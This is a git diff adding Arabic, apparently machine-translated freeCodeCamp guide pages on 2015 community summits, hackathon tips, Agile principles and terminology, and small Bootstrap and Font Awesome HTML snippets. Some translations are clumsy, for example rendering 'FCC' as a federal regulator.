+\-هناك مهام صغيرة يمكن للمشاركين في المسيرة المساهمة فيها. تمثل المشكلات التي تم وضع علامة عليها كـ "help-wanted" في النسخة [الرئيسية من FCC Repo / Issues مشكلات](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) ثانوية مثل الأخطاء المطبعية التي يمكن لأي شخص إصلاحها. فقط قم بعمل طلب سحب وقم بإجراء الإصلاحات. تعليمات لكيفية المساهمة في [الرئيسية FCC ريبو](https://github.com/FreeCodeCamp/FreeCodeCamp)
+
+**\-لماذا React.js على Angular.js؟** من الأسهل التعلم والتعليم ، و "أكثر متعة" للكتابة. وهناك سبب آخر هو أن لجنة الاتصالات الفيدرالية تشعر بأن هناك "كتلة حرجة" وراء React.js ، استنادًا إلى الكثير من الأسماء الكبيرة التي تنقل مدونات التشفير إلى React.js. وورد ، على سبيل المثال ، يتغير ويمثل 25 ٪ من الإنترنت. يترجم اعتماد React.js على نطاق واسع إلى المزيد من فرص العمل. Angular.js هو أكثر شعبية بكثير الآن، ولكن [QuincyLarson](/users/quincylarson) يعتقد أن React.js ستتفوق Angular.js. سوف يتم طرح Angular 2 قريبًا ، وهو إصلاح شامل من Angular 1 ؛ الشيء الوحيد نفسه هو الاسم. أضاف [SaintPeter](/users/saintpeter) أن موقع Wiki الجديد مكتوب في React.js ومتجاوب للغاية.
+
+**\-هل لجنة الاتصالات الفدرالية كافية لجعل لي مطور ويب؟** [SaintPeter](/users/saintpeter) : No. FCC يوفر إطارًا [ومسارًا](/users/saintpeter) خطيًا لتوجيه تعلمك ولكنك لن تقدم كل شيء للجميع. لا تشعر بأنك تخون لجنة الاتصالات الفيدرالية (FCC) إذا ذهبت إلى موارد أخرى لتكمل تعلمك. [QuincyLarson](/users/quincylarson) : [تتقدم](/users/quincylarson) FCC على أقرانها من حيث كونها شاملة ، ونود أن تكون FCC شاملة قدر الإمكان في المستقبل. ومع ذلك ، بالطبع يجب عليك استكمال التعلم الخاص بك مع المواقع الأخرى. واحدة من نقاط التركيز الرئيسية التي تقوم بها لجنة الاتصالات الفيدرالية هي المشاريع (أفترض مشاريع الواجهة الأمامية والمشروعات الخلفية؟) لذا استخدم مواد أخرى إذا احتجت لذلك ، ولكن ارجع إلى لجنة الاتصالات الفيدرالية لاستخدام تلك المعرفة للعمل من خلال المشاريع.
+
+**\-القليل SASS يضاف ، هل هناك فرصة لإضافة HTML preprocesser مثل اليشم؟** [BerkeleyTrue](/users/berkeleytrue) - ربما ، ولكن لا يبدو أنه سيضيف الكثير إلى المنهج الدراسي.
+
+**\- كيف حصلت العديد من المعسكرات على وظائف كنتيجة مباشرة للعمل مع لجنة الاتصالات الفيدرالية؟** [BerkeleyTrue](/users/berkeleytrue) - إنه على الأقل دزينة. [QuincyLarson](/users/quincylarson) - لا يمكننا الاحتفاظ بالأرقام الصلبة لأننا لا نفعل التوفيق ، لذلك نحن نعتمد على الناس لإخبارنا عندما حصلوا على وظائف ، ولكن ما لا يقل عن مائة. الكثير من الناس يحصلون على وظائف قبل الانتهاء من مناهجنا الدراسية.
+
+**في ضوء المنهج الجديد ، ماذا يحدث للأشخاص الذين لديهم بالفعل شهادة مطور Full Stack؟** [QuincyLarson](/users/quincylarson) - لا توجد طريقة عادلة للتعامل مع الأشخاص الـ 25 الذين حصلوا على الشهادة الآن. وسيتصل بها مباشرةً لتقديم اعتذار ، ولكن سيتم تحويل شهادة مطور Full Stack الحالية إلى شهادة مطور البرامج الخلفي ، بعد إكمال تحديات واجهة برمجة التطبيقات الخمسة الجديدة. على أمل أن هذه هي المرة الأخيرة التي يتغير فيها طول المنهج.
+
+**، هل ستقوم لجنة الاتصالات الفدرالية باللمس على وحدات عقدة مثل Gulp ، Bower ، Yeoman ، وما إلى ذلك؟** [SaintPeter](/users/saintpeter) - في الوقت الذي تكون جاهزًا لاستخدامه ، يجب أن تعرف ما يكفي لتعليم نفسك. يعتبر تقديمها في وقت مبكر من البرنامج أمرًا بالغًا للغاية. / ش / quicnylarson - أود أن أرى موضوعات التنزه على هذه.
+
+**كيف ترى Reddit يتم استخدامها من قبل المعسكر؟** [QuincyLarson](/users/quincylarson) - Reddit هو مكان لمجتمعنا لتبادل الأفكار وطرح الأسئلة. ينتشر مجتمع لجنة الاتصالات الفيدرالية على العديد من المنصات المختلفة (مثل Gitter chat ، Facebook ، meetups ، إلخ). يعد Reddit طريقة رائعة لمشاركة الأشخاص القصص ، وطرح الأسئلة ، وما إلى ذلك ، على مجتمع ENTIRE في آنٍ واحد.
+
+كما جانبا ، سحبت [QuincyLarson](/users/quincylarson) حتى [صفحة stackoverflow](https://stackoverflow.com/research/developer-survey-2015) وناقشت اتجاه المزيد والمزيد من مطوري البرامج يجري تدريسها بنفسها و / أو قادمة من حقول غير CS.
+
+**في الشهر الماضي ، قلت إن حوالي 200 شخص قد أنهوا شهادة المطور الأمامية. هل تغير هذا ، وما المعدل الذي يحصل عليه الأشخاص الذين يحصلون على هذه الشهادة؟** [BerkeleyTrue](/users/berkeleytrue) - [311.QuincyLarson](/users/quincylarson) - لقد التقطت السرعة. إذا كنت قد أكملت هذه الشهادة ، فأن الإنترنت عالية خمسة. وقد تعهد 913 شخصًا بتقديم تبرعات للمنظمات غير الربحية.
+
+كمحور جانبي ، ناقش / u / quicnylarson الخطط المستقبلية لتوسيع عدد المنظمات غير الربحية التي يمكن أن يتعهد المخيمون بتعهداتهم غير الربحية. لا توجد أرقام محددة ، فقط لأنها ستتوسع في المستقبل.
+
+**كيف يمكن للأشخاص استئجار خريجي FCC؟** [QuincyLarson](/users/quincylarson) - يمكن لأصحاب العمل استخدام [وظيفة Free Code Camp Job](https://www.freecodecamp.com/jobs) Post لنشر الوظائف. لا ترغب FCC في الحصول على وظائف عالية الجودة إلا من قبل أرباب العمل ذوي الجودة العالية ، لذا فهم يقومون حاليًا بتحصيل 1000 دولار لنشر وظيفة على لوحة العمل. لا تزال لجنة الاتصالات الفيدرالية تحاول معرفة كيفية تسويقها لأصحاب العمل ومساعدتهم على فهم ما سيحصلون عليه عندما يستأجرون خريجا في لجنة الاتصالات الفيدرالية (FCC). فقط حوالي 5 ٪ من الناس في الولايات المتحدة يتعلمون أن يرمزوا إلى 100 ٪ في الصين. بالفعل ، مطوّر البرامج هو الوظيفة الأكثر شيوعًا في بعض الولايات الأمريكية. توفير التعليم الترميز للجميع مجانا هو هدف كبير وطموح. تعتبر لوحة العمل (وتكلفتها) مجرد مظهر آخر على ذلك.
+
+**\- إذا كنت مطورًا مؤسسًا ، هل يمكنني بدء العمل في مشروعات غير ربحية على الفور؟** [QuincyLarson](/users/quincylarson) - لا. كل شخص يعمل في مشاريعنا غير الربحية يجب أن يحصل على شهادة تطوير برنامج تكديس Full Fack أولاً. لا يقتصر إكمال البرنامج على إظهار القدرة فحسب ، بل يتعلق أيضًا بإظهار الالتزام بالبرنامج. من المهم أن يتم تكريس الأشخاص الذين يعملون في المنظمات غير الربحية ووضعهم في الوقت والجهد للوصول إلى هذه النقطة ؛ لا ترغب FCC في ترك الأشخاص في منتصف الطريق من خلال مشروع. أشار [QuincyLarson](/users/quincylarson) إلى أن FCC صعب عن قصد وربما يكون من بين موارد الترميز الأكثر صعوبة حولها. حتى الأشخاص الذين يمتلكون ترميز تجربة يمكن أن يستغرق ساعات لإكمال مشروع الواجهة الأمامية أو مشروع النهاية الخلفية. هذا حسب التصميم. [SaintPeter](/users/saintpeter) - كتذكير ، جميع التحديات اختيارية (للجميع). إذا كانت لديك خلفية ترميز ، فيجب عليك إكمال الخوارزميات ومشاريع الواجهة الأمامية ومشاريع النهاية الخلفية للحصول على الشهادات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camps-summit-november-2015/index.md b/client/src/guide/arabic/meta/free-code-camps-summit-november-2015/index.md
new file mode 100644
index 0000000000..1ad48cfc07
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camps-summit-november-2015/index.md
@@ -0,0 +1,14 @@
+---
+title: Free Code Camps Summit November 2015
+localeTitle: Free Code Camps Summit November 2015
+---
+بدأت [قمتنا في](http://twitch.tv/freecodecamp) 7 نوفمبر 2015 في [تمام](http://twitch.tv/freecodecamp) الساعة الثانية عشر ظهرا على [قناة twitch.tv الخاصة بنا](http://twitch.tv/freecodecamp) ، وكانت متوفرة بعد ذلك على [قناة يوتيوب](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) لدينا.
+
+هذا البث المباشر لساعة واحدة متميز:
+
+1.  Quincy عرض [المنشور المتوسط ​​الجديد](https://medium.freecodecamp.com)
+2.  تشرح بيركلي تحسينات المناهج الحديثة ، وكيف يمكنك المساهمة أيضًا
+3.  بن يقدم أداة Challenge-o-matic 1000 لخلق التحديات
+4.  مايك demoing طريقة للحصول على FCC تعمل على جهاز الكمبيوتر الخاص بك مع عدد قليل من الأوامر باستخدام Vagrant
+5.  كريستيان demoing [التطبيق الموسيقى الحديثة التعاوني التي بناها المخيم](http://musare.com/)
+6.  أسئلة من مجتمعنا
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camps-summit-october-2015/index.md b/client/src/guide/arabic/meta/free-code-camps-summit-october-2015/index.md
new file mode 100644
index 0000000000..41441c84fa
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camps-summit-october-2015/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camps Summit October 2015
+localeTitle: Free Code Camps Summit October 2015
+---
+بدأت [قمتنا](http://twitch.tv/freecodecamp) في 3 أكتوبر 2015 عند الظهر بتوقيت شرق الولايات المتحدة يوم السبت على [قناة twitch.tv](http://twitch.tv/freecodecamp) وتكون متاحة بعد ذلك على [قناة يوتيوب](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) لدينا.
+
+خلال هذا البث المباشر لساعة واحدة ، سنقوم بما يلي:
+
+*   إطلاق برامج شهادة End End و Full Stack Development المجانية
+*   عرض صفحات المحافظ الجديدة والأكثر شمولاً
+*   عرض طريقة جديدة يمكن لجميع المعسكرين على الفور البدء في مساعدة المنظمات غير الربحية
+*   تحدث مع الكابتن بليك جونستون ، الذي ابتكر منصة Clementine.js التي ستستخدمها Free Code Camp لتحديات مشروع Back End
+*   إطلاق حملتنا الأولى على الإطلاق على teespring.com
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/index.md b/client/src/guide/arabic/meta/index.md
new file mode 100644
index 0000000000..0f234d2e8f
--- /dev/null
+++ b/client/src/guide/arabic/meta/index.md
@@ -0,0 +1,7 @@
+---
+title: Meta
+localeTitle: ميتا
+---
+## ميتا
+
+Freecodecamp هي منظمة أمريكية غير ربحية بدأت في 15 أكتوبر 2014. وهي توفر منهجًا عالي الجودة للمتعلمين الذين يرغبون في تعلم تطوير الويب أو تلميع مهاراتهم. في الوقت الحاضر ، مجتمع عالمي يستخدمه أكثر من مليون معسكر كل شهر.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md b/client/src/guide/arabic/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md
new file mode 100644
index 0000000000..73395cecb6
--- /dev/null
+++ b/client/src/guide/arabic/meta/why-does-free-code-camp-use-javascript-instead-of-ruby-or-python/index.md
@@ -0,0 +1,11 @@
+---
+title: Why Does Free Code Camp Use JavaScript Instead of Ruby or Python
+localeTitle: لماذا يستخدم Free Code Camp استخدام JavaScript بدلاً من Ruby أو Python
+---
+مثل JavaScript ، فإن Ruby و Python هي لغات برمجة نصية عالية المستوى والتي يمكن استخدامها لتطوير موقع الويب بالكامل.
+
+ولكن حتى لو تعلمت هذه اللغات ، فستظل بحاجة إلى تعلم JavaScript. ذلك لأن JavaScript هي اللغة الوحيدة التي تعمل في متصفحات الويب. ظلت جافا سكريبت موجودة منذ 20 عامًا ، ولا تزال تتزايد شعبيتها.
+
+ولهذا السبب ، تحتوي JavaScript على أدوات وموارد تعلم عبر الإنترنت أكثر من أي لغة أخرى.
+
+![مخطط يوضح حجم مستودعات GitHub الجديدة حسب السنة ، مع تزايد جافا سكريبت وتراجع معظم اللغات.](//discourse-user-assets.s3.amazonaws.com/original/2X/0/0fdd6f454cc04076bb5ed1334befbecc2b966913.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md b/client/src/guide/arabic/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md
new file mode 100644
index 0000000000..5e408a3680
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/10-steps-on-how-to-conquer-a-hackathon/index.md
@@ -0,0 +1,45 @@
+---
+title: 10 Steps on How to Conquer a Hackathon
+localeTitle: 10 خطوات على كيفية التغلب على هاكاثون
+---
+## 10 خطوات على كيفية التغلب على هاكاثون
+
+1.  **تقدم في وقت مبكر.**
+
+في بعض الأحيان ، يرسل بعض الهاكثون قبولًا على دفعات. إذا كنت قد تقدمت قبل بضعة أيام فقط من لعبة الهاسخون ، فقد يتم استبعادك. معظم هاكاثون ، خاصة تلك التي تستهدف الطلاب الجامعيين وطلاب الدراسات العليا ، يتمتعون بالحرية ، ويقدم العديد منهم تسديد تكاليف السفر للمساعدة في دعم تكلفة السفر للمشاركين الذين يسافرون لمسافات أطول. ومع ذلك ، قد تكون هناك أموال محدودة لسداد تكاليف السفر ، لذا عليك التقدم مبكرًا لضمان حصولك على إحدى هذه المنح.
+
+2.  **لا تخف.**
+
+لقد تنافست مؤخرًا في أول هاكاثون ، وكنت خائفة تمامًا من حالة كبيرة من [متلازمة الدجود](https://guide.freecodecamp.org/working-in-tech/imposter-syndrome/) . المفتاح لـ hackathons هو فقط حصلت عليه من دون أي خوف ، فأنت بالفعل رصيدا عظيما لفريق.
+
+3.  **فقط استمر في الدفع.**
+
+إذا كنت في هاكاثون وتوقف مشروعك ، استمر في الدفع ، جزء من مشروع أفضل من عدم وجود مشروع.
+
+4.  **استمتع المجانية.**
+
+قد يكون هناك الكثير من الأشياء الرائعة التي يخفيها بعض رعاة الهاكاثون ، مثل القمصان والملصقات وأحيانًا الأدوات الرائعة. قم بتخزين!
+
+5.  **استمتع بالطعام المجاني.**
+
+هناك جانب رائع آخر من هاكاثون هو الطعام المجاني ، حيث أنك هناك لمدة لا تقل عن 12 ساعة تصل إلى 4 أو 5 أيام (الحالات القصوى) ، فهي توفر وجبات مجانية للمشاركين ، YUM!
+
+6.  **تعلم قدر ما تستطيع.**
+
+واحد من أفضل الأجزاء حول الهاكاثون هو تعلم بعض الأشياء الرائعة حقًا. الكثير من الأشخاص الذين يأتون إلى الفعاليات لديهم مهارات ومهارات وخلفيات تعليمية مختلفة. من هذا ، يمكنك معرفة أي شيء وكل ما لديهم لتقديمه. سيعطيك بعض المشاركين روابط للمكتبات الرائعة والبرامج التعليمية والمجتمعات ، وسيقوم البعض بطرح كلمة طنين جديدة ، حتى أن بعضها سيظهر لك أداة ذكية مريحة يمكنها تحسين سير عملك. وأخيرًا وليس آخرًا ، فإن تعلم بعض المهارات الفنية على الفور مع المشاركين الآخرين لا يقدر بثمن!
+
+7.  **شبكة الاتصال.**
+
+كان هذا من خلفية تعليمية غير تقنية ، وكان هذا أحد أهم الجوانب الافتتاحية والعينية بالنسبة لي في هاكاثون الأول. في كثير من الأحيان ، ستكون هناك شركات توظيف ، ومطورين آخرين ، و VCs ، وحتى محامين يتطلعون إلى تمثيل الابتكار الكبير التالي. وأخيرًا ، يمكنك تكوين صداقات مع بعض الحاضرين الآخرين في مجموعتك أو لا.
+
+8.  **الذهاب في ذلك بمفردها.**
+
+هذا ، في البداية كان واحدا من أكبر جبال بلدي الخوف من الصعود. أردت حقاً أن أذهب مع بعض الأشخاص الذين أعرفهم ، لكن إذا قمت بذلك ، يصبحون عكازًا وتتشبث بهم. الهدف هو التفرع وتكوين صداقات جديدة والتعرف على أشخاص جدد. سوف تكون سعيدا أنك فعلت.
+
+9.  **احتضن التجربة.**
+
+في بعض الأحيان ، عندما تكون عالقًا في وسط خلل لا يمكنك إصلاحه ، أو يبدو أن فريقك لا يتعايش معه ، تذكر أن كل هذا يمثل جزءًا من تجربة المجيء إلى هاكاثون. أنت لست أول شخص يشعر بهذه الطريقة ولن تكون الأخير. تعامل مع كل ذلك كجزء من تجربة التعلم.
+
+10.  **إستمتع!**
+
+أحد الاقتباسات المفضلة لدي من مصدر مجهول هو "إذا كنت لا تستمتع ، فأنت تفعل ذلك بشكل خاطئ". اصنع أصدقاءك ، اخرج من منطقة الراحة ، استمتع بليلة بلا نوم ، اشرب بعض الكافيين ، اضحك عندما تحصل على خلل ، وحاول إصلاحه ، وسوف تتذكر التجربة كمكافأة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/12-principles-behind-the-agile-manifesto/index.md b/client/src/guide/arabic/miscellaneous/12-principles-behind-the-agile-manifesto/index.md
new file mode 100644
index 0000000000..ca7f4585a9
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/12-principles-behind-the-agile-manifesto/index.md
@@ -0,0 +1,33 @@
+---
+title: 12 Principles Behind the Agile Manifesto
+localeTitle: 12 المبادئ وراء البيان الرشيق
+---
+### نحن نتبع هذه المبادئ:
+
+1.  إن أولويتنا القصوى هي إرضاء العميل من خلال تقديم برامج قيمة في وقت مبكر ومستمر.
+    
+2.  نرحب المتطلبات المتغيرة، حتى وقت متأخر في التنمية. تساهم العمليات السريعة في تغيير الميزة التنافسية للعميل.
+    
+3.  تقديم برامج العمل في كثير من الأحيان ، من بضعة أسابيع إلى بضعة أشهر ، مع تفضيل لفترة زمنية أقصر.
+    
+4.  يجب على رجال الأعمال والمطورين العمل معا يوميا في جميع أنحاء المشروع.
+    
+5.  بناء مشاريع حول دوافع الأفراد. أعطهم البيئة والدعم الذي يحتاجون إليه ، وثق بهم لإنجاز المهمة.
+    
+6.  إن الطريقة الأكثر فعالية وفعالية لنقل المعلومات إلى فريق التطوير وداخله هي المحادثة المباشرة.
+    
+7.  يعمل البرنامج هو المقياس الأساسي للتقدم.
+    
+8.  عمليات رشيقة تعزز التنمية المستدامة. يجب أن يكون الرعاة والمطورين والمستخدمين قادرين على ذلك  
+    للحفاظ على وتيرة ثابتة إلى أجل غير مسمى.
+    
+9.  الاهتمام المستمر بالتميز الفني والتصميم الجيد يعزز من الرشاقة.
+    
+10.  البساطة - فن تعظيم كمية العمل التي لم يتم القيام بها - أمر ضروري.
+    
+11.  تنشأ أفضل البنى والمتطلبات والتصاميم من فرق التنظيم الذاتي.
+    
+12.  في الفترات المنتظمة ، يتأمل الفريق في كيفية أن يصبح أكثر فعالية ، ثم يضبط ويعدل سلوكه وفقًا لذلك.
+    
+
+اقرأ [المستند](http://agilemanifesto.org/principles.html) الأصلي على [http://agilemanifesto.org/principles.html](http://agilemanifesto.org/principles.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/about-the-wiki-category/index.md b/client/src/guide/arabic/miscellaneous/about-the-wiki-category/index.md
new file mode 100644
index 0000000000..f29adb7066
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/about-the-wiki-category/index.md
@@ -0,0 +1,5 @@
+---
+title: About the Wiki Category
+localeTitle: حول الويكي الفئة
+---
+يحتوي موقع [wiki الذي يديره المجتمع على](https://forum.freecodecamp.org/c/guide) مقالات تغطي معظم تحدياتنا ، بالإضافة إلى أدوات مثل Linux. كما أن لديها تحديات تفاعلية لـ Python و Java ولغات أخرى.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/accessing-the-database-from-your-front-end/index.md b/client/src/guide/arabic/miscellaneous/accessing-the-database-from-your-front-end/index.md
new file mode 100644
index 0000000000..91d8ecee24
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/accessing-the-database-from-your-front-end/index.md
@@ -0,0 +1,12 @@
+---
+title: Accessing the Database from Your Front End
+localeTitle: الوصول إلى قاعدة البيانات من طرفك الأمامي
+---
+يجب أن تكون قد لاحظت في **main.controller.js** كيف تم استرداد _الأشياء_ من قاعدة البيانات وعرضها:
+
+ `$http.get('/api/things').success(function(awesomeThings){ 
+    $scope.awesomeThings = awesomeThings; 
+ }); 
+` 
+
+هذا ما يفعله هو استدعاء API مع طلب "الحصول على"، الذي ثم توجيهها من قبل **/server/api/things/index.js** إلى وظيفة _exports.index_ في **things.controller.js.** ستلاحظ أيضًا في **main.controller.js** أن هناك أمثلة متضمنة _لميزتي http.post_ و _$ http.delete_ أيضًا! كم هذا جميل!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/add-elements-within-your-bootstrap-wells/index.md b/client/src/guide/arabic/miscellaneous/add-elements-within-your-bootstrap-wells/index.md
new file mode 100644
index 0000000000..89d3f85638
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/add-elements-within-your-bootstrap-wells/index.md
@@ -0,0 +1,5 @@
+---
+title: Add Elements Within Your Bootstrap Wells
+localeTitle: إضافة عناصر داخل الآبار Bootstrap الخاص بك
+---
+بمجرد أن تذهب عميقًا بدرجة كافية في `divs` يمكنك البدء في إضافة أزرار Bootstrap.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md b/client/src/guide/arabic/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md
new file mode 100644
index 0000000000..5dc43c37e8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/add-font-awesome-icons-to-all-of-our-buttons/index.md
@@ -0,0 +1,10 @@
+---
+title: Add Font Awesome Icons to All of Our Buttons
+localeTitle: إضافة أيقونات روعة للخط إلى جميع أزرارنا
+---
+سيضيف أيقونة سلة المهملات.
+
+ `<i class="fa fa-info-circle"></i> 
+` 
+
+سوف تضيف أيقونة المعلومات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md b/client/src/guide/arabic/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md
new file mode 100644
index 0000000000..5c983956d6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/add-font-awesome-icons-to-our-buttons/index.md
@@ -0,0 +1,25 @@
+---
+title: Add Font Awesome Icons to Our Buttons
+localeTitle: أضف أيقونات روعة للخط إلى أزرارنا
+---
+## أضف أيقونات روعة للخط إلى أزرارنا
+
+Font Awesome هي مكتبة ملائمة من الرموز. هذه الرموز هي الرسومات المتجهة ، المخزنة في تنسيق ملف `.svg` . يتم التعامل مع هذه الرموز تمامًا مثل الخطوط. يمكنك تحديد حجمها باستخدام وحدات البكسل ، وسوف تفترض حجم الخط لعناصر HTML الأصلية الخاصة بها.
+
+هيريس كيف تضيف أيقونة:
+
+ `
+<i class="fa fa-thumbs-up"></i> 
+` 
+
+إليك كيفية إدراج هذا الرمز على زر:
+
+ `
+<button class="btn btn-block btn-primary"><i class="fa fa-thumbs-up"></i> Like</button> 
+` 
+
+#### معلومات اكثر:
+
+الحصول على الخط رائع على موقع الويب الخاص بك: [الخط رائع - البدء](http://fontawesome.io/get-started/)
+
+تحقق من جميع رموز الخطوط الرائعة المتوفرة: [الرموز](http://fontawesome.io/icons/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/add-free-code-camp-in-linkedin/index.md b/client/src/guide/arabic/miscellaneous/add-free-code-camp-in-linkedin/index.md
new file mode 100644
index 0000000000..9171fb4dfe
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/add-free-code-camp-in-linkedin/index.md
@@ -0,0 +1,14 @@
+---
+title: Add Free Code Camp in Linkedin
+localeTitle: أضف Free Code Camp في لينكدين
+---
+ينضم LinkedIn إلى Free Code Camp كجامعة.
+
+يمكنك استكشاف نشاط خريجينا [هنا](https://www.linkedin.com/edu/school?id=166029) .
+
+يجب عليك إضافة Free Code Camp إلى ملفك الشخصي على LinkedIn. إليك الطريقة:
+
+*   اتبع هذا الرابط: [أضف Free Code Camp](https://www.linkedin.com/profile/edit-education?school=Free+Code+Camp)
+*   اتبع التعليمات التالية: ![](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8b138a334f9cfc075fee7379b515a173a154934b.png)
+
+بمجرد إكمال المنهج الدراسي (أو إكمال مشروع غير ربحي واحد على الأقل ومن ثم الحصول على وظيفة ترميز) ، سنصدر لك شهادة تطوير Web Stack رسمية يمكنك إضافتها أيضًا إلى ملفك الشخصي على LinkedIn.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md b/client/src/guide/arabic/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md
new file mode 100644
index 0000000000..04316b9e05
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md
@@ -0,0 +1,10 @@
+---
+title: Add Id Attributes to Bootstrap Elements
+localeTitle: إضافة سمات الهوية إلى عناصر Bootstrap
+---
+تذكر أنه بالإضافة إلى سمات الصف ، يمكنك إعطاء كل عنصر من عناصرك خاصية المعرف.
+
+يجب أن يكون كل معرف فريدًا لعنصر محدد. تذكر أنه يمكنك إعطاء عنصر معرف مثل هذا:
+
+ `<div class="well" id="center-well"> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/adding-envirioment-variables-in-windows/index.md b/client/src/guide/arabic/miscellaneous/adding-envirioment-variables-in-windows/index.md
new file mode 100644
index 0000000000..0436b284a6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/adding-envirioment-variables-in-windows/index.md
@@ -0,0 +1,15 @@
+---
+title: Adding Envirioment Variables in Windows
+localeTitle: مضيفا Envirioment المتغيرات في ويندوز
+---
+### عبر واجهة المستخدم الرسومية
+
+1.  تحميل [Varpanel](http://implbits.com/products/varpanel/) .
+2.  افتح Varpanel.
+3.  في المتغير PATH ، أضف المسار ذي الصلة (على سبيل المثال).
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2ba273241acdbf4164bae20216c975d0e2ceff08.gif)
+
+### عبر سطر الأوامر
+
+ارجع إلى [هذه الإجابة](http://superuser.com/a/284351/275797) عن Super User.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/advantages-of-using-free-code-camp/index.md b/client/src/guide/arabic/miscellaneous/advantages-of-using-free-code-camp/index.md
new file mode 100644
index 0000000000..3bb7902501
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/advantages-of-using-free-code-camp/index.md
@@ -0,0 +1,13 @@
+---
+title: Advantages of Using Free Code Camp
+localeTitle: مزايا استخدام Free Code Camp
+---
+المزايا الرئيسية لكود كامب هي أننا في متناول الكبار الراغبين في تغيير مهنتهم.
+
+على وجه التحديد ، نحن:
+
+*   حر
+*   الذاتي
+*   متصفح القائمة على
+
+أحد أكثر الاختلافات الملحوظة في هذا المنهج مقارنة ببيئات Code-Camp / School الأخرى هو **مستوى الدعم العالي** : استخدام غرف المحادثة للحصول على المساعدة والتوجيه ومساعدة المبرمجين الزملاء يمنحك فهمًا أفضل للكود وسهولة الوصول إليه إلى التوضيحات ، وفي الوقت الفعلي حتى يمكنك التساؤل حول الارتباك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/agile-project-management-terminology/index.md b/client/src/guide/arabic/miscellaneous/agile-project-management-terminology/index.md
new file mode 100644
index 0000000000..a6b8bef539
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/agile-project-management-terminology/index.md
@@ -0,0 +1,57 @@
+---
+title: Agile Project Management Terminology
+localeTitle: مصطلحات إدارة المشاريع الرشيقة
+---
+خلال مشاريع التطوع في مخيم Free Code ، نستخدم منهجية إدارة المشاريع Agile. بالنسبة للعديد من المعسكرين وأصحاب المصلحة لدينا ، فإن هذا هو أول ظهور لهم على Agile. على الرغم من أنه من غير المتوقع أن تكون خبيرًا في Agile ، فإليك بعض المصطلحات التي قد يكون من المفيد معرفتها:
+
+*   **لوحة المهام** - رسم بياني يسرد ما يجب القيام به وما يجري العمل عليه وما تم إنجازه. نحن نستخدم Trello كمجلس مهام خاص بنا.
+*   **سبرينت** - فترة التطوير. نحن نستخدم عموما طول سباق لمدة أسبوع واحد.
+*   **Sprint Conference** - اجتماع يعقد في نهاية كل سباق لمناقشة التقدم المحرز والحصول على ردود الفعل. يشار إليها أيضًا باسم مراجعة العدو.
+*   **أصحاب المصلحة** - شخص خارج فريق التطوير لديه مصلحة في المشروع وتطوره.
+*   **قصة المستخدم** - متطلب أو ميزة يجب على المنتج استيفائها / تضمينها.
+
+للحصول على معلومات إضافية حول Agile ، يمكنك الاطلاع على صفحة [الإدارة الذكية](https://en.wikipedia.org/wiki/Agile_management) على ويكيبيديا أو إلقاء نظرة على [إدارة مشروع Agile لـ Dummies Cheat Sheet](http://www.dummies.com/how-to/content/agile-project-management-for-dummies-cheat-sheet.html) .
+
+## الأدوات التي نستخدمها
+
+[GoToMeeting](http://www.gotomeeting.com) - نحن نستخدم GoToMeeting لعقد مؤتمرات إدارة المشاريع على الإنترنت.
+
+[When2Meet](http://www.when2meet.com) - نستخدم When2Meet لمشاركة تواعدنا مع الفريق.
+
+[Trello](http://www.trello.com) - نحن نستخدم Trello لتتبع مشاريع تطوير الويب التطوعية.
+
+[تقويم Google](https://www.google.com/calendar) - نحن نستخدم تقويم Google لتتبع مؤتمرات مشروعنا.
+
+## Trello Board Standard Layout
+
+عند إعداد لوحة Trello لمشروعك ، قم بإنشاء القوائم التالية (بالترتيب من اليسار إلى اليمين).
+
+*   **معلومات عامة** - ستتضمن هذه القائمة معلومات عامة قد تكون مفيدة للفريق مثل الارتباطات بالمواقع الحالية أو وصف لسير العمل الحالي أو المقترح أو أية معلومات أخرى قد تكون مفيدة لفريق التطوير.
